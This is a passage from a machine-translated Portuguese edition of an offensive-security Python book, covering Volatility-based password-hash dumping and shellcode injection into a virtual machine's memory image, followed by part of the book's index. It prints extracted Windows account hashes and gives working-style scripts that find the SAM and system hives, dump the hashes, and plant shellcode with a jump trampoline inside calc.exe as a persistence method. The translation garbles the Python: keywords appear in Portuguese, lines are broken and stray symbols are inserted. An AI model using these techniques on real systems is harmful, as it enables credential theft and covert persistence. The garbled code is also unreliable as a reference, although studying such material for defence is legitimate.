A execução do comando acima deve fornecer resultados muito parecidos com os


abaixo:

Administrador:500:74f77d7aaaddd538d5b79ae2610dd89d4c:537d8e4d99dfb5f5e92e1fa3¬ 77041b27:::

Convidado: 501: aad3b435b51404ad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::


Assistente de Ajuda:1000:bf57b0cf30812c924kdkkd68c99f0778f7:457fbd0ce4f6030978d124j¬
272fa653:::
SUPPORT_38894df:1002:aad3b435221404eeaad3b435b51404ee:929d92d3fc02dcd099fdaec¬
fdfa81aee:::

Perfeito! Agora podemos enviar os hashes para nossas ferramentas de cracking favoritas
ou execute um pass-the-hash para autenticar outros serviços.
Agora vamos pegar esse processo de duas etapas e simplificá-lo em nosso próprio
script independente. Abra grabhashes.py e digite o seguinte código:

sistema de importação

estrutura de importação

importar volatilidade.conf como conf


importar volatilidade.registry como registro

ÿ memory_file ÿ = "WindowsXPSP2.vmem"
sys.path.append("/Users/justin/Downloads/volatility-2.3.1")

registro.PluginImporter()
configuração = conf.ConfObject()

importar volatilidade.commands como comandos


importar volatilidade.addrspace como addrspace

config.parse_options()
config.PROFILE = "WinXPSP2x86"
config.LOCATION = "arquivo://%s" % arquivo_de_memória

registro.register_global_options(config, comandos.Command)
registro.register_global_options(config, addrspace.BaseAddressSpace)

Primeiro definimos uma variável para apontar para a imagem de memória ÿ que vamos
analisar. Em seguida, incluímos nosso caminho de download do Volatility ÿ para que nosso
código possa importar com sucesso as bibliotecas do Volatility. O resto do código de suporte
serve apenas para configurar nossa instância de Volatility com perfil e opções de configuração
definidas também.
Agora vamos analisar nosso código de hash-dumping real. Adicione as seguintes linhas
a grabhashes.py.

de volatilidade.plugins.registry.registryapi importar RegistryApi


de volatilidade.plugins.registry.lsadump importar HashDump

ÿ registro = RegistryApi(config) ÿ
registro.populate_offsets()

154 Capítulo 11
www.it-ebooks.info
Machine Translated by Google

sam_offset = Nenhum
sys_offset = Nenhum

para deslocamento em Registry.all_offsets:

ÿ se registro.all_offsets[offset].endswith("\\SAM"):
sam_offset = deslocamento
imprimir "[*] SAM: 0x%08x" % deslocamento

ÿ se registro.all_offsets[offset].endswith("\\system"): sys_offset = deslocamento

imprimir "[*] Sistema: 0x%08x"% deslocamento

se sam_offset não for None e sys_offset não for None:


ÿ config.sys_offset = sys_offset
config.sam_offset = sam_offset

ÿ hashdump = HashDump(config)

ÿ para hash em hashdump.calculate():


imprime hash

quebrar

se sam_offset for Nenhum ou sys_offset for Nenhum:


print "[*] Falha ao encontrar os deslocamentos do sistema ou SAM."

Primeiro instanciamos uma nova instância de RegistryApi ÿ que é uma classe auxiliar com funções
de registro comumente usadas; leva apenas a configuração atual como parâmetro. A chamada
populate_offsets ÿ executa então o equivalente à execução do comando hivelist que abordamos
anteriormente. A seguir, começamos a percorrer cada uma das colmeias descobertas em busca do SAM
ÿ
e sistema ÿ colmeias. Quando eles são descobertos, atualizamos o objeto de configuração atual
com seus respectivos deslocamentos ÿ. Então criamos um HashDump
object ÿ e passe o objeto de configuração atual. A etapa final ÿ é iterar os resultados da chamada da
função calcular, que produz os nomes de usuário reais e seus hashes associados.

Agora execute este script como um arquivo Python independente:

$ python grabhashes.py

Você deverá ver a mesma saída de quando executou os dois plug-ins independentemente.
Uma dica que sugiro é que, ao tentar encadear funcionalidades (ou pegar emprestadas
funcionalidades existentes), pesquise o código-fonte do Volatility para ver como eles estão fazendo as
coisas nos bastidores. Volatilidade não é uma biblioteca Python como Scapy, mas examinando
como os desenvolvedores usam seu código, você verá como usar corretamente quaisquer classes ou
funções que eles expõem.

Agora vamos passar para a engenharia reversa simples, bem como para a injeção de código
direcionado para infectar uma máquina virtual.

Automatizando a perícia forense ofensiva 155

www.it-ebooks.info
Machine Translated by Google

Injeção direta de código


A tecnologia de virtualização está sendo usada cada vez com mais frequência com
o passar do tempo, seja por causa de usuários paranóicos, requisitos de plataforma
cruzada para software de escritório ou concentração de serviços em sistemas de
hardware mais robustos. Em cada um desses casos, se você comprometeu um
sistema host e vê VMs em uso, pode ser útil entrar nelas. Se você também vir
arquivos de snapshots de VM por aí, eles podem ser um lugar perfeito para implantar
código shell como método de persistência. Se um usuário reverter para um
snapshot que você infectou, seu shellcode será executado e você terá um novo shell.
Parte da injeção de código no convidado é que precisamos encontrar
um local ideal para injetar o código. Se você tiver tempo, um lugar perfeito é
encontrar o loop de serviço principal em um processo SYSTEM porque você tem a
garantia de um alto nível de privilégio na VM e que seu shellcode será chamado.
A desvantagem é que se você escolher o local errado ou se seu shellcode não for escrito
corretamente, você poderá corromper o processo e ser pego pelo usuário final ou matar a própria
VM.
Faremos uma engenharia reversa simples do aplicativo calculadora do
Windows como alvo inicial. O primeiro passo é carregar calc.exe
no Immunity Debugger1 e escrever um script simples de cobertura de código que
nos ajuda a encontrar a função do botão = . A ideia é que possamos realizar
rapidamente a engenharia reversa, testar nosso método de injeção de código e
reproduzir facilmente os resultados. Usando isso como base, você pode progredir
para encontrar alvos mais complicados e injetar shellcode mais avançado. Então, é
claro, encontre um computador que suporte FireWire e experimente!
Vamos começar com um PyCommand simples do Immunity Debugger. Abra um
novo arquivo em sua VM do Windows XP e nomeie-o codecoverage.py. Certifique-
se de salvar o arquivo no diretório de instalação principal do Immunity Debugger
na pasta PyCommands .
*
da importação immlib

classe cc_hook(LogBpHook):

def __init__(self):

LogBpHook.__init__(self)
self.imm = Depurador()

def execução(self,regs):

self.imm.log("%08x"% regs['EIP'],regs['EIP'])
self.imm.deleteBreakpoint(regs['EIP'])

retornar

1. Baixe o Immunity Debugger aqui: http:// debugger.immunityinc.com/.

156 Capítulo 11
www.it-ebooks.info
Machine Translated by Google

def principal(argumentos):

imm = Depurador()

calc = imm.getModule("calc.exe")
imm.analyseCode(calc.getCodebase())

funções = imm.getAllFunctions(calc.getCodebase())

prostituta = cc_hook()

para função em funções:


hooker.add("%08x" % função, função)

return "Rastreando %d funções." % len(funções)

Este é um script simples que encontra todas as funções em calc.exe e para cada uma
define um ponto de interrupção único. Isso significa que para cada função executada, o
Immunity Debugger gera o endereço da função e, em seguida, remove o ponto de interrupção
para que não registremos continuamente os mesmos endereços de função. Carregue
calc.exe no Immunity Debugger, mas não o execute ainda. Em seguida, na barra de comando
na parte inferior da tela do Immunity Debugger, digite:

!Cobertura de código

Agora você pode executar o processo pressionando a tecla F9. Se você mudar para a
visualização de log (alt-L), verá as funções rolarem. Agora clique em quantos botões desejar,
exceto o botão =. A ideia é que você queira executar tudo, menos a função que procura. Depois
de clicar o suficiente, clique com o botão direito na visualização de log e selecione Limpar
janela. Isso remove todas as funções atingidas anteriormente. Você pode verificar isso clicando
em um botão clicado anteriormente; você não deverá ver nada aparecer na janela de log.
Agora vamos clicar naquele incômodo botão =. Você deverá ver apenas uma única entrada
na tela de registro (talvez seja necessário inserir uma expressão como 3+3 e pressionar o
botão =). Na minha VM do Windows XP SP2, esse endereço é 0x01005D51.

Tudo bem! Nosso rápido tour pelo Immunity Debugger e algumas técnicas básicas de
cobertura de código terminou e temos o endereço onde queremos injetar o código. Vamos
começar a escrever nosso código de Volatilidade para fazer esse negócio desagradável.
Este é um processo de vários estágios. Primeiro precisamos verificar a memória em busca do processo calc.exe e, em seguida, procurar

em seu espaço de memória um local para injetar o shellcode, bem como encontrar o deslocamento físico na imagem RAM que contém a função

que encontramos anteriormente. Temos então que inserir um pequeno salto sobre o endereço da função do botão = que salta para o nosso

shellcode e o executa. O shellcode que usamos neste exemplo é de uma demonstração que fiz em uma fantástica conferência de

segurança canadense chamada Countermeasure. Este shellcode está usando compensações codificadas, então sua milhagem 2

pode variar.

2. Se você deseja escrever seu próprio shellcode MessageBox, consulte este tutorial: https:// www.corelan
.be/ index.php/ 2010/02/25/ exploit-writing-tutorial-part-9-introduction-to-win32-shellcoding/.

Automatizando Perícia Forense Ofensiva 157

www.it-ebooks.info
Machine Translated by Google

Abra um novo arquivo, nomeie-o code_inject.py e crie o código a


seguir.

sistema de importação

estrutura de importação

botão_igual = 0x01005D51

memory_file = "WinXPSP2.vmem"
slack_space = Nenhum

trampoline_offset = Nenhum

# leia nosso shellcode


ÿ sc_fd = open("cmeasure.bin","rb") = sc_fd.read()
sc
sc_fd.close()

sys.path.append("/Users/justin/Downloads/volatility-2.3.1")

importar volatilidade.conf como conf


importar volatilidade.registry como registro

registro.PluginImporter()
configuração = conf.ConfObject()

importar volatilidade.commands como comandos


importar volatilidade.addrspace como addrspace

registro.register_global_options(config, comandos.Command)
registro.register_global_options(config, addrspace.BaseAddressSpace)

config.parse_options()
config.PROFILE = "WinXPSP2x86"
config.LOCATION = "arquivo://%s"% arquivo_de_memória

Este código de configuração é idêntico ao código anterior que você escreveu, com a
exceção de que estamos lendo o shellcode ÿ que injetaremos na VM.

Agora vamos colocar o resto do código no lugar para realmente realizar


a injeção.

importar volatilidade.plugins.taskmods como taskmods

ÿ p = taskmods.PSList(config)

ÿ para processo em p.calculate():

se str(process.ImageFileName) == "calc.exe":

print "[*] Calc.exe encontrado com PID %d" % process.UniqueProcessId


print "[*] Procurando compensações físicas... aguarde."

158 Capítulo 11

www.it-ebooks.info
Machine Translated by Google

ÿ address_space = process.get_process_address_space() =
ÿ address_space.get_available_pages() páginas

Primeiro instanciamos uma nova classe PSList ÿ e passamos nossa configuração atual. O
módulo PSList é responsável por percorrer todos os processos em execução detectados na imagem
de memória. Iteramos sobre cada processo ÿ e se descobrirmos um processo calc.exe , obteremos
seu espaço de endereço completo ÿ e todas as páginas de memória do processo ÿ.

Agora vamos percorrer as páginas de memória para encontrar um pedaço de memória do


mesmo tamanho do nosso shellcode preenchido com zeros. Além disso, estamos procurando o
endereço virtual do nosso manipulador de botão = para que possamos escrever nosso trampolim.
Insira o código a seguir, prestando atenção ao recuo.

para página em páginas:

ÿ físico = endereço_space.vtop(página[0])

se físico não for Nenhum:

se slack_space for Nenhum:

ÿ fd = open(memory_file,"r+")
fd.seek(físico)
buf = fd.read(página[1])

tentar:
ÿ deslocamento = buf.index("\x00" * len(sc))
slack_space = página[0] + deslocamento

print "[*] Boa localização do shellcode encontrada!"


imprimir "[*] Endereço virtual: 0x%08x"% slack_space
print "[*] Endereço físico: 0x%08x"% (físico¬
+ deslocamento)

print "[*] Injetando shellcode."

ÿ fd.seek(físico + deslocamento)
fd.write(sc)
fd.flush()

#crie nosso trampolim


ÿ vagabundo = "\xbb%s" % struct.pack("<L", página[0] + deslocamento)
vagabundo += "\xff\xe3"

se trampoline_offset não for Nenhum:


quebrar

exceto:
passar

fd.fechar()

Automatizando a perícia forense ofensiva 159

www.it-ebooks.info
Machine Translated by Google

# verifica a localização do nosso código de destino


if page[0] <= equals_button e ¬
ÿ equals_button < ((page[0] + page[1])-7):

print "[*] Encontrado nosso alvo de trampolim em: 0x%08x" ¬


% (físico)

#calcula o deslocamento virtual


ÿ v_offset = equals_button - página[0]

# agora calcula o deslocamento físico


trampolim_offset = físico + v_offset

print "[*] Encontrado nosso alvo de trampolim em: 0x%08x" ¬


% (trampolim_offset)

se slack_space não for Nenhum:


quebrar

print "[*] Escrevendo trampolim..."

ÿ fd = open(arquivo_de_memória,
"r+") fd.seek(trampolim_offset)
fd.write(vagabundo)
fd.fechar()

print "[*] Concluído a injeção de código."

Tudo bem! Vamos ver o que todo esse código faz. Quando iteramos em cada
página, o código retorna uma lista de dois membros onde page[0] é o endereço da página
e page[1] é o tamanho da página em bytes. À medida que percorremos cada página da
memória, primeiro encontramos o deslocamento físico (lembre-se do deslocamento na
imagem RAM no disco) ÿ de onde a página se encontra. Em seguida, abrimos a
imagem RAM ÿ, buscamos o deslocamento de onde a página está e então lemos toda
a página da memória. Em seguida, tentamos encontrar um pedaço de bytes NULL ÿ
do mesmo tamanho do nosso shellcode; é aqui que escrevemos o shellcode na
imagem RAM ÿ. Depois de encontrarmos um local adequado e injetarmos o shellcode,
pegamos o endereço do nosso shellcode e criamos um pequeno pedaço de opcodes
x86 ÿ. Esses opcodes geram o seguinte assembly:

mov ebx, ADDRESS_OF_SHELLCODE


jmp ebx

Lembre-se de que você pode usar os recursos de desmontagem do Volatility


para garantir a desmontagem do número exato de bytes necessários para o salto e
restaurar esses bytes em seu shellcode. Vou deixar isso como tarefa de casa.

160 Capítulo 11
www.it-ebooks.info
Machine Translated by Google

A etapa final do nosso código é testar se a função do botão = reside na página


atual sobre a qual estamos iterando ÿ. Se encontrarmos, calculamos o deslocamento
ÿ e depois escrevemos nosso trampolim ÿ. Agora temos nosso trampolim instalado, que
deve transferir a execução para o shellcode que colocamos na imagem RAM.

Chutando os pneus

A primeira etapa é fechar o Immunity Debugger se ele ainda estiver em execução e fechar
todas as instâncias do calc.exe. Agora abra calc.exe e execute seu script de injeção de
código. Você deverá ver uma saída como esta:

$ python code_inject.py
[*] Calc.exe encontrado com PID 1936
[*] Procurando compensações físicas... aguarde.
[*] Encontrada uma boa localização do shellcode!
[*] Endereço virtual: 0x00010817
[*] Endereço físico: 0x33155817
[*] Injetando shellcode.
[*] Encontrei nosso alvo de trampolim em: 0x3abccd51
[*] Escrevendo trampolim...
[*] Concluída a injeção de código.

Lindo! Deve mostrar que encontrou todas as compensações e injetou o shellcode.


Para testá-lo, basta entrar na sua VM e fazer um rápido 3+3 e apertar o botão =. Você
deverá ver uma mensagem aparecer!
Agora você pode tentar fazer engenharia reversa em outros aplicativos ou serviços além
do calc.exe para testar essa técnica. Você também pode estender esta técnica para tentar
manipular objetos do kernel que podem imitar o comportamento do rootkit. Essas técnicas
podem ser uma maneira divertida de se familiarizar com a análise forense de memória e
também são úteis para situações em que você tem acesso físico a máquinas ou acionou um
servidor que hospeda várias VMs.

Automatizando a perícia forense ofensiva 161

www.it-ebooks.info
Machine Translated by Google

www.it-ebooks.info
Machine Translated by Google

Eu indexo

Nota: Os números das páginas seguidos na autenticação de formulário HTML, 69–74

de f, n ou t indicam figuras, notas e


tabelas, respectivamente. formulário de login do administrador,
69–70

configurações gerais, 70–71


A
Classe de análise de HTML, 72–73
Protocolo de Resolução de Endereço. Veja ARP colando na lista de palavras, 73
envenenamento de cache classe primária de força bruta, 71-72
Função AdjustTokenPrivileges , 142
Parâmetro AF_INET , 10 fluxo de solicitação, 70
Envenenamento de cache ARP (Protocolo de teste, 74
resolução de endereço), 51–55 função build_wordlist , 73
adicionando funções de suporte, 53–54 API do extensor Burp, 75–99
criando uma lista de palavras para
codificação de script de envenenamento, 52–53 adivinhação de senha, 93–99

inspecionando cache, 51 convertendo HTTP selecionado


teste, 54-55 tráfego na lista de palavras, 95-96
funcionalidade para exibir lista de palavras,
96–97
B
teste, 97–99, 97f–99f
Classe BHPFuzzer , 81–82 criando fuzzers de aplicativos da web, 78–87
função bing_menu , 89–90
Mecanismo de pesquisa Bing, 87–93 acessando a documentação do Burp, 78–81
definindo classe extensora, 88–89
funcionalidade para analisar resultados, 90–91 implementação de código para atender
funcionalidade para realizar consulta, 89– aos requisitos, 79–82
90
extensão de carregamento, 83–84,
teste, 91–92, 91f–93f 83f–84f
função bing_search , 89–90 fuzzer simples, 82–83
Biondi, Philippe, 47 usando extensão em ataques, 84–87,
Função BitBlt , 116 85f–87f
Objetos auxiliares do navegador, 128–135 instalação, 76–77, 77f
ataques de força bruta
interface com a API do Bing para mostrar todos
em diretórios e locais de arquivos, 65–68 os hosts virtuais, 87–93
definindo classe extensora, 88–89
aplicando lista de extensões para testar, funcionalidade para analisar resultados,
67–68 90–91
criando lista de extensões, 68 funcionalidade para realizar consulta, 89–
criando objetos Queue a partir de arquivos 90
de lista de palavras, 66 teste, 91–92, 91f–93f
configurando lista de palavras, 68 Arquivo JAR independente Jython, 76, 77f
testes, 68 Classe BurpExtender , 79–80, 88–90

www.it-ebooks.info
Machine Translated by Google

C abrindo arquivo Python em branco, 5f


configurando pontos de
Caim e Abel, 74
interrupção, 5 configurando script para
CANVAS, 117, método
de canal 117n , 32
depuração, 6, 6f visualizando rastreamento de pilha, 6, 7f
Mensagem ClientConnected , 28–29
Guia Erros, Burp, função
automação forense
de exfiltração 84 , exfiltração 132–133,
ofensiva de injeção de código, 156–161
rotinas de criptografia 128–
135, script de geração de chave 129–
Escalonamento de privilégios do
130, funcionalidade de login 133–134,
Windows,
funcionalidade de postagem
diretório de configuração
131, funções de suporte 132,
147–149 , função connect_to_github 102, 105–106
testes 129, 134–135
Cabeçalho Content-Length ,
parâmetro de contagem
Guia Extensor, Burp, 83, 84f, 99f função
127, função createMenuItem 48, função
extract_image , 58–59
createNewInstance 88–89 , 79–80
Função CreateProcess , 139
Classe CredRequestHandler , módulo F

127 ctypes , 39–41 método de alimentação , 71–72


Fidão, Chris, 59
D Classe FileCookieJar , parâmetro
de filtro 71–72, função
diretório de dados , 102
find_module 48 , tunelamento
Guia Depurar Sonda, WingIDE, 8
SSH direto 107, 30, 30f
Mensagem de destino inacessível , 42, 43f função
Frisch, Dan, 138
dir_bruter , 67
Projeto DirBuster, 65 função
display_wordlist , 96–97 G

GDI (dispositivo gráfico do Windows


E Interface), 115–116
Função GetAsyncKeyState , 120 função
função easy_install , 3
get_file_contents , 106
Projeto El Jefe, 139
Função GetForeGroundWindow , 112–113 função
função encrypt_post , 129–130 função
getGeneratorName , 79–80 função
encrypt_string , 130 configuração de
get_http_headers , 58–59
ambiente, 1–8
Função GetLastInputInfo , 119 função
Kali Linux, nome de
get_mac , 53–54 função
usuário padrão 2–3 e
getNextPayload , 81–82
senha, 2
Função GetOwner , 140–141
ambientes de desktop, 2f
Solicitações GET, 62
determinando versão, 2
Função GetTickCount , 119 função
download de imagem, 2
get_trojan_config , 106
discussão geral, 2
Função GetWindowDC , 116
WingIDE, 3–8
Função GetWindowTextA , 112–113
acessando, 4f
Função GetWindowThreadProcessId , 112–
corrigindo dependências ausentes, 4 113 função
discussão geral, 3–4
get_words , 95–96 módulo github3 ,
inspecionando e modificando variáveis
3
locais, 8, 8f
Trojans compatíveis com GitHub,
instalando, 4
configuração de conta 101–109, 102

Índice 164

www.it-ebooks.info
Machine Translated by Google

construção, 105–108 Classe IIntruderPayloadGenerator , 78–82


configuração, 104 Classe IIntruderPayloadGeneratorFactory , 78–80
criação de módulos, 103 script

hacking funcionalidade de importação , de gravação de imagem, 55–60


107–108 adição de código de detecção facial, 59
melhorias e aprimoramentos para, 109 adição de funções de suporte, 58–59
testes, 108–109 script

de processamento de codificação, 56–57


Classe GitImportador , 107 teste, 59–60 plugin
imageinfo , 152
H Credenciais IMAP, roubo, 48, 50
Depurador de imunidade, 156–157, módulo imp
função handle_client , 12–13 função 156n, método __init__
handle_comment , 94–95 função 107, função inject_code 41 ,
handle_data , 73, 94–95 função controle de entrada/saída 148–149
handle_endtag , 73 função (IOCTL), 37, tags de entrada 37n , 72–73
handle_starttag , 72–73
Objeto HashDump , 155 Automação COM do Internet Explorer,
plugin hashdump , 153 exfiltração
função hasMorePayloads , 80–82 função de 123–135, rotinas de
dumping hexadecimal, 23–24 plugin criptografia 128–135, script de
hivelist , 153 geração de chave 129–130,
Classe HookManager , 114 funcionalidade de login 133–
Autenticação de formulário HTML, força bruta, 134, funcionalidade de postagem
formulário de login 131, funções de suporte 132,
do administrador 69–74, configurações gerais testes 129, man-in-
69–70, 70–71 the-browser 134–135 ataques, 124–
Classe de análise HTML, 72–73 128
colagem na lista de palavras, criando servidor HTTP, 127–128
73 classe primária de força bruta, 71–72 fluxo de definido, 124
solicitação, 70 testes, loop principal, 125–127
74 estrutura de suporte para, 124–125
Classe HTMLParser , 69, 72–73, 94–95 testes, 128
Guia Histórico HTTP, Burp, 85, 85f aguardando funcionalidade
do navegador, 126–127
EU
Guia Intruso, Burp, 85, 86f
Ferramenta de intrusão, Burp, 78
Classe IBurpExtender , 79–80, 88–89
IOCTL (controle de entrada/saída), 37, 37n
Rotina de decodificação de mensagens
Rotina de decodificação de cabeçalho IP, 38–42
ICMP, 42–46
evitando manipulação de bits, 39–40 protocolo
Mensagem de destino inacessível , 42–43,
legível por humanos, 40–41 testes, 41–42
cálculo de
estrutura típica de
comprimento 43f, 44 elementos
cabeçalho IPv4, 39f
de mensagem, 42 envio de
datagramas UDP e interpretação de
J.
resultados, 44–45 testes, 45–46 classe
IContextMenuFactory , Janzen, penhasco, 138
88–89 classe IContextMenuInvocation , 88– Formato JSON, 104
89 processo Iexplore.exe , 128 parâmetro iface , Arquivo JAR independente Jython, 76, 77f
48

Índice 165

www.it-ebooks.info
Machine Translated by Google

K diretório de módulos , 102


função mutate_payload , 82
KaliLinux

nome de usuário e senha padrão, 2 ambientes


de desktop, 2f determinação de N
versão, 2 download de imagem, Nathoo, Karim, 127 módulo
2 discussão geral, 2 instalação netaddr , 44, 46 funcionalidade
de pacotes, 3 semelhante a netcat, 13–20 adição de
código de cliente, 15–16 funções
Evento KeyDown , 114 de chamada, 14–15
keylogging, 112–115 funcionalidade de execução de comando, 17–
Função de pressionamento de tecla , 114 19
Khrais, Hussam, 27n shell de comando, 17–19
Kuczmarski, Karol, 107n
criando função principal, 14–15 criando
loop de servidor primário, 16–17 criando função
eu stub, 16–17 funcionalidade de upload
de arquivo, 17–19 importando bibliotecas,
Estrutura LASTINPUTINFO , 119
13 configurando variáveis
função load_module , 107 função
globais, 13 testando, 19–20 rede
login_form_index , 124–125 função
noções básicas, 9–
login_to_tumblr , 131 função
33 criação de clientes TCP,
logout_form , 124–125 função logout_url ,
10–11 criação de proxies TCP, 20–
124–125
25
função de dumping hexadecimal, 23–24
M função proxy_handler , 22–23 motivos
para, 20 testes, 25
função mangle , 96–97 ataques
criação de
man-in-the-browser (MitB), 124–128 criação de
servidor servidores TCP, 12–13 criação de
clientes UDP, 11 funcionalidade
HTTP, 127–128 definidos, 124 loop
principal, 125– semelhante a netcat. Veja a funcionalidade
semelhante ao netcat
127 estrutura de suporte
Tunelamento SSH, 30–33
para, 124–125 testes, 128 espera pelo
para frente, 30, 30f
navegador
reverso, 30–33, 31f, 33f testes,
funcionalidade, 126–127 ataques man-in-the-
middle 33 SSH com
Paramiko, 26–30
(MITM), 51–55 adição de funções de suporte, 53–
54 criando servidor SSH, 28–29
instalando Paramiko, 26
script de envenenamento de codificação,
52–53 autenticação de chave, 26
executando comandos em
inspeção de cache, 51 testes, 54–55
Cliente Windows sobre SSH, 27–
Metasploit, 117 Microsoft.
29
Consulte o
testes, 29–30
mecanismo de
farejadores de rede, 35–46
pesquisa Bing; Automação COM do Internet
descoberta de hosts ativos em segmentos de
Explorer
rede, 36
Ataques MitB. Veja ataques man-in-the-browser Rotina de decodificação de mensagens ICMP,
42–46
Ataques
Destino inalcançável
MITM. Consulte a função module_runner de
ataques mensagem, 42–43, cálculo
de comprimento 43f, 44
man-in-the-middle , 108
elementos de mensagem, 42

Índice 166

www.it-ebooks.info
Machine Translated by Google

enviando datagramas UDP e py2exe, pacote


interpretando resultados, 44–45 105n PyCrypto, biblioteca 128n
testes, 45–46 PyHook, biblioteca 112n
Rotina de decodificação de cabeçalho IP, 38– Python GitHub API, 102n página Python WMI,
42 evitando manipulação de bits, 139n instalador PyWin32, 138
39–40 Scapy, 48, módulo de soquete
protocolo legível por humanos, 48n , 9n SVNDigger,
testes 65n VMWare Player, 1n
40–41, 41–42 Volatility framework,
estrutura de cabeçalho 152 documentação da
IPv4 típica, 39f classe Win32_Process , 141n
modo promíscuo, 37 Windows GDI, 116n WingIDE, 4 Wireshark, 35
configuração do sniffer de soquete bruto, 37
Windows versus Linux, 36–38 método OpenCV, 56, 59–60 função
__novo__ , 41 os.walk , 64
sinalizadores de

O propriedade , 124–125

automação forense ofensiva, 151–161 injeção direta


de código, 156–161 instalação de
volatilidade, 152 perfis, 152
P
recuperação de
hashes de senha, 153–155 recursos processamento de arquivos de captura de
online pacotes. Consulte a
função packet.show() de
Chaves de API do Bing, 88n processamento PCAP ,
Arroto, 76 49 Paramiko, 26–30 criando servidor
Caim e Abel, 74n SSH, 28–29
Carlos Perez, 147n instalando, 26 executando comandos no
criando estrutura básica para cliente Windows sobre SSH,
repo, 102 27–29 autenticação de chave SSH,
Projeto DirBuster, 65n 26 testes, 29–30
Projeto El Jefe, 139 adivinhação de senha lista de palavras, 93-99
códigos de detecção facial, 59 conversão do tráfego HTTP selecionado em
gerando cargas úteis do lista de palavras,
Metasploit, 117n funcionalidade 95–96 para exibir lista de
hackeando a funcionalidade palavras,

de importação do Python , 107n teste 96–97, 97–99, 97f–99f


Hussam Khrais, 27 n. Guia Cargas úteis, Burp, 85, 86f
Depurador de imunidade, controle Processamento PCAP (arquivo de captura de pacotes),
de entrada/saída 156n (IOCTL), 37n 55–60

Formulário de login do administrador Joomla, 69 adição de código de detecção facial, 59


Jython, 76 adição de funções de suporte, 58–59
KaliLinux, 2
Shellcode MessageBox, módulo Resultados de envenenamento de cache
157 netaddr , 46 ARP, 53 script de processamento de
OpenCV, 56n codificação, 56–57 script de escultura
Paramiko, 26 de imagem, 55–60 testes, 59–60
PortSwigger Web Security, 76 serviço Perez, Carlos, gerente
de exemplo de escalonamento de de pacotes pip 147n , 3
privilégios, 138 Credenciais POP3, roubo, 48, 50

Índice 167

www.it-ebooks.info
Machine Translated by Google

função populate_offsets , 154–155 função response_handler , 23–25 função


Segurança da Web PortSwigger, 76 restore_target , 53–54 função
Erro de porta inacessível , 42 reverse_forward_tunnel , 31–32 tunelamento SSH
Guia Posições, Burp, 85, 86f função reverso, 30–33, 31f, 33f função run , 103
post_to_tumblr , 132 escalonamento
de privilégios, 137–149 injeção de
código, 147–149 instalação de S
serviço de exemplo, 138 instalação de
detecção de sandbox, 118–122
bibliotecas, 138 monitoramento
de processos, 139–141 testes, 141 Biblioteca assustadora, 47–60

com WMI, 139– Envenenamento de cache ARP, 51–55


141 privilégios de token , adição de funções de suporte, 53–54
script
141–143
recuperando automaticamente de envenenamento de codificação, 52–

privilégios habilitados, 142–143 53 inspeção de cache, 51

saída e registro, 143 corrida vencedora teste, 54–55

contra execução de código, 144– instalação, 48


147 criação de monitor de Processamento PCAP

arquivo, 144–146 teste, 146–147 adicionando código de detecção facial, 59

parâmetro prn , 48 adicionando funções de suporte, 58–59

monitoramento de
processo, 139–141 teste, 141 com Resultados de envenenamento de cache

WMI, 139–141 ARP, 53 script de processamento de


função process_watcher , codificação, 56–57 script de escultura

140– 141 --profile sinalizador, 152 função de imagem, 55–60

proxy_handler , 22–23 testes, 59–60 roubo de credenciais de e-mail, 48–50


aplicação de filtro para portas de correio

Guia Proxy, Burp, 85, 85f comuns, 49–50


Classe PSList , 158–159 criação de sniffer simples, 48–49 testes,

py2exe, 105 50 guia

Pacote PyCrypto, 128n, 130 Escopo, Burp, 92, capturas de


tela 93f, 115–116 privilégio
Biblioteca PyHook, 112, 120
Biblioteca de API Python GitHub, 102 SeBackupPrivilege , 142t Secure Shell.
Veja SSH
Instalador PyWin32, 138
Privilégio SeDebugPrivilege , 142t
Função Selecionar Objeto , 116
P
Privilégio SeLoadDriver , 142, 142t função
Objetos de fila , 63–64, 66–67 sendto() , 11 função
server_loop , 16–17
Função SetWindowsHookEx , execução
R
de shellcode 112, 116–118
função random_sleep , 131 Módulo SimpleHTTPServer , 117–118
Função ReadDirectoryChangesW , 144–146 função Guia Mapa do site, Burp, 97f–98f
receiver_from , 23–24 função Credenciais SMTP, roubo, 48, 50 função sniff ,
recvfrom() , 11 função 48
RegisterIntruderPayloadGeneratorFactory , 79–80 Parâmetro SOCK_DGRAM ,
módulo de 11 soquetes , 9–10
Classe RegistryApi , 154–155 construção de proxies TCP, 20–21
Ferramenta repetidora, Burp, 78 criação de clientes TCP, 10–11
Classe de solicitação , criação de servidores TCP, 12–13
62 função request_handler , 23–25 função criação de clientes UDP, 11
request_port_forward , 32 função de funcionalidade semelhante ao netcat, 13
redefinição , 81 Parâmetro SOCK_STREAM , 10–11

Índice 168

www.it-ebooks.info
Machine Translated by Google

SSH (Secure Shell) com Tarefas do Windows, 111–122


Paramiko, 26–30 criando keylogging, 112–115
servidor SSH, 28–29 instalando detecção de sandbox, 118–122
Paramiko, 26 autenticação de capturas de tela, 115–116
chave, 26 executando execução de shellcode, 116–118
comandos em Tumblr, 128-135
Cliente Windows sobre SSH, 27–
29
EM

testes, 29–30
tunelamento, 30–33 Clientes UDP, criação, 11
encaminhamento, função udp_sender , 44–45
30, 30f reverso, 30–33, 31f, biblioteca urllib2 , 62, 116
33f testes, função urlopen , 62
33 função ssh_command , 26–27
Guia Stack Data, WingIDE, 6–8 função EM

start_monitor , 145–146 função


Reprodutor VMWare, 1
store_module_result , 106 parâmetro de
Estrutura de volatilidade, 151-161
armazenamento , 50
injeção direta de código, 157–161
função strip , 94–95
instalação, 152
biblioteca de subprocessos , 17
perfis, 152
SVNDigger, 65
recuperação de hashes de senha,
153–155
T

dicionário tag_results , 72–73 EM

Classe TagStripper , 94–96


função wait_for_browser , sinalizador 126–
Guia Alvo, Arroto, 92, 93f, 97f–98f
127 wb , 17
Clientes TCP, criando, 10–11
ataques a aplicativos da web, 61–74
Criação de
diretórios e localizações de arquivos de
proxies TCP, 20–
força bruta, 65–68
25 função de dumping hexadecimal,
aplicação de lista de extensões para
23–24 função proxy_handler , 22–23
testar, 67–68
motivos para construção, 20
criação de lista de extensões, 68
testes, 25
Classe TCPServer , 127 criação de objetos Queue a partir
de arquivos de lista
Servidores TCP, criação, 12–13
de palavras, 66 configuração
função test_remote , 64
de lista de
privilégios de token, 141–143
palavras, 68 teste, 68 formulário
recuperação automática de privilégios
HTML de força bruta
habilitados, 142–143
autenticação, 69–74 formulário
saída e registro, 143 método de
de login
transporte , 32 trojans
do administrador, 69–70 configurações gerais, 70–71

